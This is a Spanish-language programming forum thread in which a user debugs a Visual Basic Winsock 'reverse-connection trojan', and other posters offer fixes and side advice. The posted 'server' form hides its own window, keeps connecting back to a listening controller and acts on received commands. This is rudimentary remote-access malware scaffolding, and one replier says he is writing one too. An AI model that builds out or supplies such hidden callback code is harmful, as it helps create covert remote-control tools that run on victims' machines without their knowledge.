Hola amigos

Estaba hoy viendo como trabaja un poco el winsock y me meti en el mundo de hacer un troyano de conexion inversa

Conecta y todo bien, el problema es en el momento de hacer un SendData me tira este error

Imagen


Aqui les dejo el codigo del formulario,

Código: Seleccionar todo

Private Sub Command1_Click()
Winsock1.Listen
End Sub
Private Sub Command3_Click()
Winsock1.Close
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Command2_Click()
Winsock1.SendData "msg"
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = 7 Then
Label2.Caption = "Conectado"
ElseIf Winsock1.State = 0 Then
Label2.Caption = "Desconectado"
ElseIf Winsock1.State = 2 Then
Label2.Caption = "Escuchando"
End If
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = 7 Then
Label4.Caption = Winsock1.RemoteHostIP
Timer2.Enabled = False
End If
End Sub
y aqui el del server

Código: Seleccionar todo


Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = 0 Then
Winsock1.Connect
Else
Winsock1.Close
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
MsgBox "funciona"
End If
End Sub



Alguna idea de lo que puede pasar? gracias

Edito:

Me confundi, esto va en dudas de programacion, si pueden por favor muevanlo
Los policias contra los hackers son exactamente igual que la iglesia contra los sabios, ambos castigan la inteligencia....
No es nada del código, lo que pasa es que enviaste la data sin estar conectado al servidor, y por eso se produjo el error.

Para que no vuelva a pasar tendrías que depurarlo con

If Winsock1.State <> Connected Then
MsgBox "No Conectado!"
Else
'Tu Code
End If

Si no lo entiendes avisame, estoy muy dormido como para explicar a esta hora xD
Imagen
bajate algun source de algun troyano para que lo estudies!
pero claro sin RIPEARLO!
solo para mirar como funciona y tratar de entender como funciona!
pd. no ripees nada! es MALO!
solo es una sugerencia , y perdon por no ayudarte con tu problema pero orita no estoy en mi casa.!
saludos.
Imagen

♪♪ 2pac & Notorius B.I.G ♪♪
¿Por qué estoy luchando para vivir cuando estoy solo viven para luchar,
¿Por qué estoy tratando de ver cuando no hay nada a la vista,
¿Por qué estoy tratando de dar cuando nadie me da una oportunidad,
¿Por qué estoy muriendo para vivir cuando yo estoy viviendo para morir.♪♪
gracias por las respuestas, pero es raro porque se supone que me conecto, los labels cambian a conectado y todo el rollo, el server envia la peticion de conexion... y aun asi me da ese mensaje de error

Pongo el cliente en listen
El label 2 cambia a escuchando
Ejecuto el server
El label 2 cambia a conectado
El label 4 marca mi direccion ip
Doy al boton para que envie el SendData
Y me sale ese error

Seguro que sea pork en realidad no esta conectado?


Edito: solucionado, tal vez fue un error de puerto ;)
Los policias contra los hackers son exactamente igual que la iglesia contra los sabios, ambos castigan la inteligencia....
El error puede ser del puerto,o de las Strings Declaradas para enviar datos,no puedes enviar datos con la misma que usas para almacenarlos en WS_DataArrival
Sin duda lo podrias soluicionar facilmente con una condicion

Código: Seleccionar todo

If ws.state =7 Then 'Conected
ws(xDnVariable).Senddata hola 'Enviamos la Data
End if 'Cerrramos la condicion
Estoy codeando uno yo tambien...

Salu2
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
p0is0n-123 escribió:El error puede ser del puerto,o de las Strings Declaradas para enviar datos,no puedes enviar datos con la misma que usas para almacenarlos en WS_DataArrival
Sin duda lo podrias soluicionar facilmente con una condicion

Código: Seleccionar todo

If ws.state =7 Then 'Conected
ws(xDnVariable).Senddata hola 'Enviamos la Data
End if 'Cerrramos la condicion
Estoy codeando uno yo tambien...

Salu2
Cuidado bro al publicar los codes asi, recuerda que si vas a enviar una string va entre comillas dobles, y es SendData, recuerda que casi todos los lenguajes de programación son sensibles a mayúsuclas y minusculas, por eso no se recomienda empezar con vb, te acostumbras a que el compilador te corrija tus errores y errocitos de ese tipo me han costado horas revisarlos en códigos grandes en php o C ...

Un saludo!
//mHmm..
ok thanks por los comments, aunque ya lo solucione, tendre en cuenta lo de las mayusculas y minisculas, ademas de que ya remodele mucho el codigo ese porque lo estaba usando para aprender a usar el CsocketMaster

Tengo una preguntilla nueva si no os importa

Digamos que en form1 establezco que a = 2
como hago para que el form2 conserve el valor de esta variable?
Los policias contra los hackers son exactamente igual que la iglesia contra los sabios, ambos castigan la inteligencia....
danielcanijo escribió:ok thanks por los comments, aunque ya lo solucione, tendre en cuenta lo de las mayusculas y minisculas, ademas de que ya remodele mucho el codigo ese porque lo estaba usando para aprender a usar el CsocketMaster

Tengo una preguntilla nueva si no os importa

Digamos que en form1 establezco que a = 2
como hago para que el form2 conserve el valor de esta variable?
Tendrías que crear variables públicas o crear una clase para llamar a la variable en otro form, lo que podrías hacer para evitarte hacer todo eso es obtener los datos ya desde el segundo form, osea si por ejemplo quieres obtener lo que el usuario escribió en el form1 y lo quieres guardar en una variable en el form2 entonces en este último colocarías

Código: Seleccionar todo

Dim txt As String
txt = Form1.Text1.Text
y bueno csocketmaster es casi igual, solo la función de cerrar la conexion es distinta creo.

Saludos!
//mHmm..
Yo me decidi por SocketMaster,pero SocketPlus es bueno tmb.(es casi l omismo pero este ultimo permite multiconexion)..

Salu2
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
Cerrado

Volver a “VB/.NET”